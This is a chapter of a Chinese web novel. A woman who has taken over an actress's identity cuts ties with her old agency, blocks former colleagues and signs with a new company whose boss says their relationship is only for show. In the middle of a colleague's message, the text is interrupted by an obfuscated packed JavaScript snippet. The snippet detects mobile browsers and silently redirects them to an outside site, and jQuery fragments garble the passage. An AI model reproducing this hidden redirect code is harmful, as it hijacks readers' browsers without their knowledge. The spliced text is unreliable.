“还得谢谢陈哥栽培。”黎数继续练着不太熟练的瘦金体,一边说:“不是您带我去一趟片场,我也不会阴差阳错得到这么好的机会。” 陈远冷笑:“你以为你真是靠实力被签进寰宇的,实话告诉你,那是因为你的脸长得和已经死了的那个黎数一模一样,姓陆的把你弄过去,跟待在一统也没什么区别!你还是只能做别人的替身!” 黎数不耐烦的皱了皱眉,手机拿远了一点。 还没按到挂断的按键,就听到陈远在那边气急败坏的说:“别以为你把老子搞走了就能做白日梦,老子离了一统也到处都能混得好,你就在寰宇安安分分的当个死人的替身吉祥物吧,等你被陆嵬踢了,我看你什么下场!” 电话被陈远恶狠狠的挂断,黎数满脸疑惑的把手机放到了一边。 陈远上次见时就对原主意见很大,可这份恶意来的没什么缘由,日记本里也没有提到过。 她想不明白,左右也只是个跳梁小丑,就没再理会。 但刚被放下的手机又震了震,紧接着开始了频繁地震动。 往常几个月都说不了一句话的一统的前同事忽然间都变得极其热情,开始想和黎数交流起了并不怎么深厚的感情。 黎数一个没理,单独打开了算是眼熟的几个人的消息看了看。 【沈晓青:副总把姓陈的开了!】 【沈晓青:你能去寰宇也好,能出去拼一拼,比在这小作坊当陪衬强得多。】 【沈晓青:有句话我也不知道现在说合不合适,你刚来公司的时候,姓陈的几次占你便宜你都忍气吞声的不言语。你以前性格软弱,自怨自艾习惯了,我一开始还帮你,你反而去担心我帮了你一次以后,把姓陈的惹恼了,他又来报复你你要怎么办,最后居然来怪我,后来我也懒得理你了,对你脾气也一直不好。这段时间突然变了个人似的,我也不知道你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498042|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历了什么,但总归算是好事。】 【沈晓青:好好发展吧,以后别再那么窝囊了,硬气点。】 后面是沈晗的信息。 【沈晗:真要跟公司解约啊?】 【沈晗:你哪来的钱啊?】 【沈晗:你解约以后我就麻烦了,双姨本来都规划好我以后发展的路子了,我那天在片场还想跟你以后好好相处对你好一点呢,你怎么说解约就解约啊。】 【沈晗:我又不会亏待你!】 黎数沉默两秒,全部拉黑。 所有的材料黎数全权交给了寰宇的法务部门去办,连一统的大门都没进。 有了强有力的背景支持,解约过程相当顺利。 - 四月四日,清明那天,黎数再次踏入了寰宇签订新的经纪合同,为期五年。 这一刻她忽然想起了自己从前的经纪人,连带着思绪一起放飞,想起了朋友、家人,和她从前救助过的一只小黑猫。 “签字吧。”陆嵬用笔在桌子上敲敲,黎数回过神,应了声,继续用没眼看的丑字签上了自己的名字。 陆嵬拿过合同以后沉默了两秒,目光着重在那丑的出奇的签名上停了会,才说道:“回去收拾行李,收拾好告诉我,会有人过去给你搬家。” 黎数迟疑片刻,还是说道:“我已经收拾完了,随时可以搬。” 一统效率算高,且知道以后没有合作的可能了,所以东西回收的也相当利落。 寰宇法务部登门的第二天,一统的工作人员就上门勒令黎数把东西收拾好在一周内搬走。 她已经带着一堆行李在酒店住了好几天了。 陆嵬停下了收拾文件的动作,盯着黎数的神色显得有些古怪。 她向后靠坐在椅子上,从抽屉里取出音色打火机,方形的壳子不知道怎么在她指尖被玩出了花。 浓密的睫毛压下了她眼眸中所有的情绪,片刻后,陆嵬她说道:“小黎,我和你不会发生任何超过工作以上的感情牵扯,我们只是演戏。” 黎数险些以为自己耳朵瞎了眼睛聋了。 她张了张嘴,最后居然只能略显憋屈的说了一句:“您想多了,陆总,我对您没非分之想。” 不甘心的又补了半句:“真的。”